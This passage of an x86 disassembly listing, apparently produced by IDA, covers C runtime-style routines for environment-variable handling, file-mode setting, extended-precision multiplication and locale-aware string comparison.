		mov	dword_4421FC, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_425A19
; ---------------------------------------------------------------------------


loc_425A16:				; CODE XREF: sub_425955+99j
		mov	ebx, [ebp+arg_0]


loc_425A19:				; CODE XREF: sub_425955+BFj
		cmp	edi, ecx
		jnz	short loc_425A45
		mov	eax, dword_4421F0
		mov	ecx, dword_4421F4
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_425A4C
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:442180h[edx*4]


loc_425A3A:				; CODE XREF: sub_425955+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_425A3A
		jmp	short loc_425A4C
; ---------------------------------------------------------------------------


loc_425A45:				; CODE XREF: sub_425955+AAj
					; sub_425955+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_425A5A


loc_425A4C:				; CODE XREF: sub_425955+D7j
					; sub_425955+EEj
		push	dword_4421FC
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_425A68
; ---------------------------------------------------------------------------


loc_425A5A:				; CODE XREF: sub_425955+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_425A68
		cmp	edi, 4
		jnz	short loc_425A7B


loc_425A68:				; CODE XREF: sub_425955+103j
					; sub_425955+10Cj
		cmp	edi, 8
		mov	dword_4E0C00, ebx
		jnz	short loc_425A7B
		mov	eax, [ebp+arg_0]
		mov	dword_4421FC, eax


loc_425A7B:				; CODE XREF: sub_425955+111j
					; sub_425955+11Cj
		xor	eax, eax
		pop	ebx


loc_425A7E:				; CODE XREF: sub_425955+2Cj
					; sub_425955+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_425955	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_425A82	proc near		; CODE XREF: sub_425955+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_4421F8
		cmp	dword_44217C, edx
		push	esi
		mov	eax, offset dword_442178
		jz	short loc_425AB0
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:442178h[esi*4]


loc_425AA4:				; CODE XREF: sub_425A82+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_425AB0
		cmp	[eax+4], edx
		jnz	short loc_425AA4


loc_425AB0:				; CODE XREF: sub_425A82+16j
					; sub_425A82+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:442178h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_425AC4
		cmp	[eax+4], edx
		jz	short locret_425AC6


loc_425AC4:				; CODE XREF: sub_425A82+3Bj
		xor	eax, eax

locret_425AC6:				; CODE XREF: sub_425A82+40j
		retn
sub_425A82	endp


; =============== S U B	R O U T	I N E =======================================



sub_425AC7	proc near		; CODE XREF: sub_4247EC+23p

arg_0		= dword	ptr  4

		cmp	dword_4E21D0, 0
		push	ebx
		push	esi
		mov	esi, dword_4E0B50
		push	edi
		jz	short loc_425B3E
		test	esi, esi
		jnz	short loc_425AF8
		cmp	dword_4E0B58, esi
		jz	short loc_425B3E
		call	sub_425E95
		test	eax, eax
		jnz	short loc_425B3E
		mov	esi, dword_4E0B50
		test	esi, esi
		jz	short loc_425B3E


loc_425AF8:				; CODE XREF: sub_425AC7+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_425B3E
		push	ebx
		call	sub_41AFE0
		pop	ecx
		mov	edi, eax


loc_425B09:				; CODE XREF: sub_425AC7+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_425B3E
		push	eax
		call	sub_41AFE0
		cmp	eax, edi
		pop	ecx
		jbe	short loc_425B31
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_425B31
		push	edi
		push	ebx
		push	eax
		call	sub_425E56
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425B36


loc_425B31:				; CODE XREF: sub_425AC7+51j
					; sub_425AC7+59j
		add	esi, 4
		jmp	short loc_425B09
; ---------------------------------------------------------------------------


loc_425B36:				; CODE XREF: sub_425AC7+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_425B40
; ---------------------------------------------------------------------------


loc_425B3E:				; CODE XREF: sub_425AC7+10j
					; sub_425AC7+1Cj ...
		xor	eax, eax


loc_425B40:				; CODE XREF: sub_425AC7+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_425AC7	endp


; =============== S U B	R O U T	I N E =======================================



sub_425B44	proc near		; CODE XREF: sub_424F0A+8Bp
					; sub_424F0A+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4E1F80
		jnb	short loc_425BAB
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4E1E80[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_425BAB
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_425B84
		and	cl, 7Fh
		jmp	short loc_425B91
; ---------------------------------------------------------------------------


loc_425B84:				; CODE XREF: sub_425B44+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_425B9F
		or	cl, 80h


loc_425B91:				; CODE XREF: sub_425B44+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_425B9F:				; CODE XREF: sub_425B44+48j
		mov	dword_4E0B28, 16h
		jmp	short loc_425BB5
; ---------------------------------------------------------------------------


loc_425BAB:				; CODE XREF: sub_425B44+Bj
					; sub_425B44+27j
		mov	dword_4E0B28, 9


loc_425BB5:				; CODE XREF: sub_425B44+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_425B44	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425BBA	proc near		; CODE XREF: sub_4256C2+165p
					; sub_425DDA+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_425DBA
		cmp	cx, 7FFFh
		jnb	loc_425DBA
		cmp	dx, 0BFFDh
		ja	loc_425DBA
		cmp	dx, 3FBFh
		ja	short loc_425C23
		xor	eax, eax
		jmp	short loc_425C5D
; ---------------------------------------------------------------------------


loc_425C23:				; CODE XREF: sub_425BBA+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_425C45
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_425C45
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_425C47
		cmp	[esi], eax
		jnz	short loc_425C47
		jmp	loc_425DB4
; ---------------------------------------------------------------------------


loc_425C45:				; CODE XREF: sub_425BBA+71j
					; sub_425BBA+79j
		xor	eax, eax


loc_425C47:				; CODE XREF: sub_425BBA+80j
					; sub_425BBA+84j
		cmp	cx, ax
		jnz	short loc_425C6A
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_425C6A
		cmp	[ebx+4], eax
		jnz	short loc_425C6A
		cmp	[ebx], eax
		jnz	short loc_425C6A


loc_425C5D:				; CODE XREF: sub_425BBA+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_425DD5
; ---------------------------------------------------------------------------


loc_425C6A:				; CODE XREF: sub_425BBA+90j
					; sub_425BBA+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_425C7A:				; CODE XREF: sub_425BBA+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_425CCE
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_425C96:				; CODE XREF: sub_425BBA+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425CC1
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_425CC1:				; CODE XREF: sub_425BBA+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_425C96


loc_425CCE:				; CODE XREF: sub_425BBA+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_425C7A
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_425D11


loc_425CEC:				; CODE XREF: sub_425BBA+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_425D0A
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4250CF
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425CEC


loc_425D0A:				; CODE XREF: sub_425BBA+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425D4A


loc_425D11:				; CODE XREF: sub_425BBA+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_425D4A
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


loc_425D2A:				; CODE XREF: sub_425BBA+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_425D33
		inc	[ebp+var_14]


loc_425D33:				; CODE XREF: sub_425BBA+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4250FD
		dec	ebx
		pop	ecx
		jnz	short loc_425D2A
		cmp	[ebp+var_14], 0
		jz	short loc_425D4A
		or	byte ptr [ebp+var_24], 1


loc_425D4A:				; CODE XREF: sub_425BBA+155j
					; sub_425BBA+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_425D61
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_425D96


loc_425D61:				; CODE XREF: sub_425BBA+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_425D93
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_425D8E
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_425D88
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_425D96
; ---------------------------------------------------------------------------


loc_425D88:				; CODE XREF: sub_425BBA+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_425D96
; ---------------------------------------------------------------------------


loc_425D8E:				; CODE XREF: sub_425BBA+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_425D96
; ---------------------------------------------------------------------------


loc_425D93:				; CODE XREF: sub_425BBA+1ABj
		inc	[ebp+var_24+2]


loc_425D96:				; CODE XREF: sub_425BBA+1A5j
					; sub_425BBA+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_425DBA
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_425DB4:				; CODE XREF: sub_425BBA+86j
		mov	[esi+0Ah], ax
		jmp	short loc_425DD5
; ---------------------------------------------------------------------------


loc_425DBA:				; CODE XREF: sub_425BBA+42j
					; sub_425BBA+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_425DD5:				; CODE XREF: sub_425BBA+ABj
					; sub_425BBA+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425BBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425DDA	proc near		; CODE XREF: sub_4251F1+440p
					; sub_4256C2+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_442678
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_425E53
		jge	short loc_425E02
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_4427D8
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_425E02:				; CODE XREF: sub_425DDA+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_425E0D
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_425E0D:				; CODE XREF: sub_425DDA+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_425E53
		push	esi
		push	edi


loc_425E14:				; CODE XREF: sub_425DDA+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_425E4C
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_425E3F
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_425E3F:				; CODE XREF: sub_425DDA+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_425BBA
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_425E4C:				; CODE XREF: sub_425DDA+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_425E14
		pop	edi
		pop	esi


loc_425E53:				; CODE XREF: sub_425DDA+14j
					; sub_425DDA+36j
		pop	ebx
		leave
		retn
sub_425DDA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425E56	proc near		; CODE XREF: sub_425AC7+5Ep
					; sub_426332+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_425E63
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_425E63:				; CODE XREF: sub_425E56+7j
		push	dword_4E1F84
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	dword_4E21A4
		call	sub_425F03
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_425E90
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_425E90:				; CODE XREF: sub_425E56+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_425E56	endp


; =============== S U B	R O U T	I N E =======================================



sub_425E95	proc near		; CODE XREF: sub_425AC7+1Ep
					; sub_4261AB+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_4E0B58
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_425EF6
		mov	ebx, dword_42717C


loc_425EAE:				; CODE XREF: sub_425E95+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_425EFE
		push	ebp
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_425EFE
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx
		test	eax, eax
		jz	short loc_425EFE
		push	edi
		push	[esp+18h+var_4]
		call	sub_4261AB
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_425EAE


loc_425EF6:				; CODE XREF: sub_425E95+11j
		xor	eax, eax


loc_425EF8:				; CODE XREF: sub_425E95+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_425EFE:				; CODE XREF: sub_425E95+29j
					; sub_425E95+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_425EF8
sub_425E95	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425F03	proc near		; CODE XREF: sub_425E56+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427CF0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	dword_4E0E38, ebx
		push	1
		pop	edi
		jnz	short loc_425F76
		push	edi
		mov	eax, offset dword_427940
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		nop
		call	near ptr 25F0000h
		test	eax, eax
		jz	short loc_425F53
		mov	dword_4E0E38, edi
		jmp	short loc_425F76
; ---------------------------------------------------------------------------


loc_425F53:				; CODE XREF: sub_425F03+46j
		push	edi
		mov	eax, offset dword_4D06DC
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	near ptr 25F06FBh
		nop
		test	eax, eax
		jz	loc_42616C
		mov	dword_4E0E38, 2


loc_425F76:				; CODE XREF: sub_425F03+31j
					; sub_425F03+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_425F8D
		push	esi
		push	[ebp+arg_8]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi


loc_425F8D:				; CODE XREF: sub_425F03+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_425FA2
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax


loc_425FA2:				; CODE XREF: sub_425F03+8Dj
		mov	eax, dword_4E0E38
		cmp	eax, 2
		jnz	short loc_425FC7
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 25F06FBh
		jmp	loc_42616E
; ---------------------------------------------------------------------------


loc_425FC7:				; CODE XREF: sub_425F03+A7j
		cmp	eax, edi
		jnz	loc_42616C
		cmp	[ebp+arg_18], ebx
		jnz	short loc_425FDC
		mov	eax, dword_4E0BF4
		mov	[ebp+arg_18], eax


loc_425FDC:				; CODE XREF: sub_425F03+CFj
		cmp	esi, ebx
		jz	short loc_425FE9
		cmp	[ebp+arg_14], ebx
		jnz	loc_426081


loc_425FE9:				; CODE XREF: sub_425F03+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_425FF6


loc_425FEE:				; CODE XREF: sub_425F03+13Cj
					; sub_425F03+16Dj
		push	2


loc_425FF0:				; CODE XREF: sub_425F03+146j
		pop	eax
		jmp	loc_42616E
; ---------------------------------------------------------------------------


loc_425FF6:				; CODE XREF: sub_425F03+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_426002


loc_425FFB:				; CODE XREF: sub_425F03+151j
					; sub_425F03+159j ...
		mov	eax, edi
		jmp	loc_42616E
; ---------------------------------------------------------------------------


loc_426002:				; CODE XREF: sub_425F03+F6j
		cmp	esi, edi
		jg	short loc_426047
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		nop
		call	near ptr 28E0000h
		test	eax, eax
		jz	loc_42616C
		cmp	esi, ebx
		jle	short loc_42604B
		cmp	[ebp+var_3C], 2
		jb	short loc_426047
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_426047


loc_42602D:				; CODE XREF: sub_425F03+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_426047
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_426041
		cmp	cl, dl
		jbe	short loc_425FEE


loc_426041:				; CODE XREF: sub_425F03+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_42602D


loc_426047:				; CODE XREF: sub_425F03+101j
					; sub_425F03+120j ...
		push	3
		jmp	short loc_425FF0
; ---------------------------------------------------------------------------


loc_42604B:				; CODE XREF: sub_425F03+11Aj
		cmp	[ebp+arg_14], ebx
		jle	short loc_426081
		cmp	[ebp+var_3C], 2
		jb	short loc_425FFB
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_425FFB


loc_42605E:				; CODE XREF: sub_425F03+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_425FFB
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_426076
		cmp	cl, dl
		jbe	loc_425FEE


loc_426076:				; CODE XREF: sub_425F03+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_42605E
		jmp	loc_425FFB
; ---------------------------------------------------------------------------


loc_426081:				; CODE XREF: sub_425F03+E0j
					; sub_425F03+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		nop
		call	near ptr 2840000h
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_42616C
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4260D0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi


loc_4260D0:				; CODE XREF: sub_425F03+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_42616C
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, dword_427180
		call	esi
		test	eax, eax
		jz	short loc_42616C
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_42616C
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42613B
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]


loc_42613B:				; CODE XREF: sub_425F03+224j
		cmp	edi, ebx
		jz	short loc_42616C
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2840000h
		test	eax, eax
		jz	short loc_42616C
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 25F0000h
		jmp	short loc_42616E
; ---------------------------------------------------------------------------


loc_42616C:				; CODE XREF: sub_425F03+63j
					; sub_425F03+C6j ...
		xor	eax, eax


loc_42616E:				; CODE XREF: sub_425F03+BFj
					; sub_425F03+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425F03	endp


; =============== S U B	R O U T	I N E =======================================



sub_426180	proc near		; CODE XREF: sub_422ACA+81p
					; sub_425F03+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_42619D


loc_426190:				; CODE XREF: sub_426180+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_42619D
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_426190


loc_42619D:				; CODE XREF: sub_426180+Ej
					; sub_426180+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_4261A8
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_4261A8:				; CODE XREF: sub_426180+21j
		mov	eax, edx
		retn
sub_426180	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4261AB	proc near		; CODE XREF: sub_425E95+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_42620F
		push	3Dh
		push	[ebp+arg_0]
		call	sub_4263F1
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_42620F
		cmp	[ebp+arg_0], esi
		jz	short loc_42620F
		mov	eax, dword_4E0B50
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, dword_4E0B54
		jnz	short loc_4261F5
		push	eax
		call	sub_42638A
		pop	ecx
		mov	dword_4E0B50, eax


loc_4261F5:				; CODE XREF: sub_4261AB+3Cj
		cmp	eax, edi
		jnz	short loc_42624D
		cmp	[ebp+arg_4], edi
		jz	short loc_426217
		cmp	dword_4E0B58, edi
		jz	short loc_426217
		call	sub_425E95
		test	eax, eax
		jz	short loc_42624D


loc_42620F:				; CODE XREF: sub_4261AB+Dj
					; sub_4261AB+22j ...
		or	eax, 0FFFFFFFFh


loc_426212:				; CODE XREF: sub_4261AB+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_426217:				; CODE XREF: sub_4261AB+51j
					; sub_4261AB+59j
		cmp	ebx, edi
		jnz	loc_42632B
		push	4
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	dword_4E0B50, eax
		jz	short loc_42620F
		mov	[eax], edi
		cmp	dword_4E0B58, edi
		jnz	short loc_42624D
		push	4
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	dword_4E0B58, eax
		jz	short loc_42620F
		mov	[eax], edi


loc_42624D:				; CODE XREF: sub_4261AB+4Cj
					; sub_4261AB+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, dword_4E0B50
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_426332
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_4262AD
		cmp	dword ptr [edi], 0
		jz	short loc_4262AD
		test	ebx, ebx
		jz	short loc_4262A5
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_41B0B1
		pop	ecx


loc_42627F:				; CODE XREF: sub_4261AB+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_42628F
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_42627F
; ---------------------------------------------------------------------------


loc_42628F:				; CODE XREF: sub_4261AB+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_41B202
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4262DF
		jmp	short loc_4262DA
; ---------------------------------------------------------------------------


loc_4262A5:				; CODE XREF: sub_4261AB+C6j
